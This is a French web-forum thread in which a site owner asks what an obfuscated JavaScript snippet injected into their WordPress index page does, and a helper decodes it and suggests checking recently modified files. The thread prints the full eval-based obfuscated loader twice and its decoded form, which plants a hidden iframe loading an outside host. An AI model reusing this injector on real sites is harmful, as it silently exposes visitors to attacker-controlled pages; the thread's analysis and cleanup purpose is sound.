Discussion :

[amazigh-dz]

Bonsoir,
aidez moi a decodé ce code javascript

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

try{prototype%2;}catch(asd){x=2;} i=0;try{prototype*5;}catch(z){fr="fromChar";f=[72,81,840,918,256,360,800,999,792,1053,872,909,880,1044,368,927,808,1044,552,972,808,981,808,990,928,1035,528,1089,672,873,824,702,776,981,808,360,312,882,888,900,968,351,328,819,384,837,328,1107,104,81,72,81,840,918,912,873,872,909,912,360,328,531,104,81,72,1125,256,909,864,1035,808,288,984,117,72,81,72,900,888,891,936,981,808,990,928,414,952,1026,840,1044,808,360,272,540,840,918,912,873,872,909,256,1035,912,891,488,351,832,1044,928,1008,464,423,376,918,920,900,824,1008,872,918,816,936,904,999,368,963,952,945,856,414,928,999,376,567,824,999,488,450,312,288,952,945,800,1044,832,549,312,441,384,351,256,936,808,945,824,936,928,549,312,441,384,351,256,1035,928,1089,864,909,488,351,944,945,920,945,784,945,864,945,928,1089,464,936,840,900,800,909,880,531,896,999,920,945,928,945,888,990,464,873,784,1035,888,972,936,1044,808,531,864,909,816,1044,464,432,472,1044,888,1008,464,432,472,351,496,540,376,945,816,1026,776,981,808,558,272,369,472,117,72,81,1000,117,72,81,816,1053,880,891,928,945,888,990,256,945,816,1026,776,981,808,1026,320,369,984,117,72,81,72,1062,776,1026,256,918,256,549,256,900,888,891,936,981,808,990,928,414,792,1026,808,873,928,909,552,972,808,981,808,990,928,360,312,945,816,1026,776,981,808,351,328,531,816,414,920,909,928,585,928,1044,912,945,784,1053,928,909,320,351,920,1026,792,351,352,351,832,1044,928,1008,464,423,376,918,920,900,824,1008,872,918,816,936,904,999,368,963,952,945,856,414,928,999,376,567,824,999,488,450,312,369,472,918,368,1035,928,1089,864,909,368,1062,840,1035,840,882,840,972,840,1044,968,549,312,936,840,900,800,909,880,351,472,918,368,1035,928,1089,864,909,368,1008,888,1035,840,1044,840,999,880,549,312,873,784,1035,888,972,936,1044,808,351,472,918,368,1035,928,1089,864,909,368,972,808,918,928,549,312,432,312,531,816,414,920,1044,968,972,808,414,928,999,896,549,312,432,312,531,816,414,920,909,928,585,928,1044,912,945,784,1053,928,909,320,351,952,945,800,1044,832,351,352,351,392,432,312,369,472,918,368,1035,808,1044,520,1044,928,1026,840,882,936,1044,808,360,312,936,808,945,824,936,928,351,352,351,392,432,312,369,472,117,72,81,72,900,888,891,936,981,808,990,928,414,824,909,928,621,864,909,872,909,880,1044,920,594,968,756,776,927,624,873,872,909,320,351,784,999,800,1089,312,369,728,432,744,414,776,1008,896,909,880,900,536,936,840,972,800,360,816,369,472,117,72,81,1000];v="eva";}if(v)e=window[v+"l"];w=f;s=[];r=String;z=((e)?"Code":"");for(;573-5+5>i;i+=1){j=i;if(e)s=s+r[fr+((e)?"Code":12)]((w[j]/(8+e("j%2"))));} try{a7d2c8abd5419219f848ec22350569ffd();}catch(q){if(f)e(s);}

que fait cette fonction
Merci

[SpaceFrog]

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!ATTENTION !!!!!!!!!!!!!!!!!!!!!!!!
Je déconseille fortement de tester le code ci dessous

C'est un truc bien pourri qui insère un iframe caché sur ta page et charge une page dedans

pour le visualiser il suffit de faire ceci:

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
<pre id="foo"></pre>
<script type="text/javascript">
try{prototype%2;}catch(asd){x=2;} i=0;try{prototype*5;}catch(z){fr="fromChar";f=[72,81,840,918,256,360,800,999,792,1053,872,909,880,1044,368,927,808,1044,552,972,808,981,808,990,928,1035,528,1089,672,873,824,702,776,981,808,360,312,882,888,900,968,351,328,819,384,837,328,1107,104,81,72,81,840,918,912,873,872,909,912,360,328,531,104,81,72,1125,256,909,864,1035,808,288,984,117,72,81,72,900,888,891,936,981,808,990,928,414,952,1026,840,1044,808,360,272,540,840,918,912,873,872,909,256,1035,912,891,488,351,832,1044,928,1008,464,423,376,918,920,900,824,1008,872,918,816,936,904,999,368,963,952,945,856,414,928,999,376,567,824,999,488,450,312,288,952,945,800,1044,832,549,312,441,384,351,256,936,808,945,824,936,928,549,312,441,384,351,256,1035,928,1089,864,909,488,351,944,945,920,945,784,945,864,945,928,1089,464,936,840,900,800,909,880,531,896,999,920,945,928,945,888,990,464,873,784,1035,888,972,936,1044,808,531,864,909,816,1044,464,432,472,1044,888,1008,464,432,472,351,496,540,376,945,816,1026,776,981,808,558,272,369,472,117,72,81,1000,117,72,81,816,1053,880,891,928,945,888,990,256,945,816,1026,776,981,808,1026,320,369,984,117,72,81,72,1062,776,1026,256,918,256,549,256,900,888,891,936,981,808,990,928,414,792,1026,808,873,928,909,552,972,808,981,808,990,928,360,312,945,816,1026,776,981,808,351,328,531,816,414,920,909,928,585,928,1044,912,945,784,1053,928,909,320,351,920,1026,792,351,352,351,832,1044,928,1008,464,423,376,918,920,900,824,1008,872,918,816,936,904,999,368,963,952,945,856,414,928,999,376,567,824,999,488,450,312,369,472,918,368,1035,928,1089,864,909,368,1062,840,1035,840,882,840,972,840,1044,968,549,312,936,840,900,800,909,880,351,472,918,368,1035,928,1089,864,909,368,1008,888,1035,840,1044,840,999,880,549,312,873,784,1035,888,972,936,1044,808,351,472,918,368,1035,928,1089,864,909,368,972,808,918,928,549,312,432,312,531,816,414,920,1044,968,972,808,414,928,999,896,549,312,432,312,531,816,414,920,909,928,585,928,1044,912,945,784,1053,928,909,320,351,952,945,800,1044,832,351,352,351,392,432,312,369,472,918,368,1035,808,1044,520,1044,928,1026,840,882,936,1044,808,360,312,936,808,945,824,936,928,351,352,351,392,432,312,369,472,117,72,81,72,900,888,891,936,981,808,990,928,414,824,909,928,621,864,909,872,909,880,1044,920,594,968,756,776,927,624,873,872,909,320,351,784,999,800,1089,312,369,728,432,744,414,776,1008,896,909,880,900,536,936,840,972,800,360,816,369,472,117,72,81,1000];v="eva";}if(v)e=window[v+"l"];w=f;s=[];r=String;z=((e)?"Code":"");for(;573-5+5>i;i+=1){j=i;if(e)s=s+r[fr+((e)?"Code":12)]((w[j]/(8+e("j%2"))));} try{a7d2c8abd5419219f848ec22350569ffd();}catch(q){if(f)document.getElementById('foo').innerHTML=s;}
</script>

résultat:

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
if (document.getElementsByTagName('body')[0]){ iframer(); } 
else { document.write(""); } 
function iframer(){ var f = document.createElement('iframe');
f.setAttribute('src','http://fsdgpmffhqo.kwik.to/?go=2');
f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';
f.setAttribute('width','10');
f.setAttribute('height','10');
document.getElementsByTagName('body')[0].appendChild(f); }

Je déconseille fortement d'aller visiter le lien de l'iframe ne serait-ce que pour tester

[amazigh-dz]

c'est un hacker qui a injecté ce code

moi j'ai supprimé ce code dans les fichier infecté

a ce que je doit aussi cherché dans la base de donné
parce que ce code est rouvé dans ma page index de wordpress

et merci

[SpaceFrog]

regarde les derniers document modifiés sur ton FTP ... (tri par date)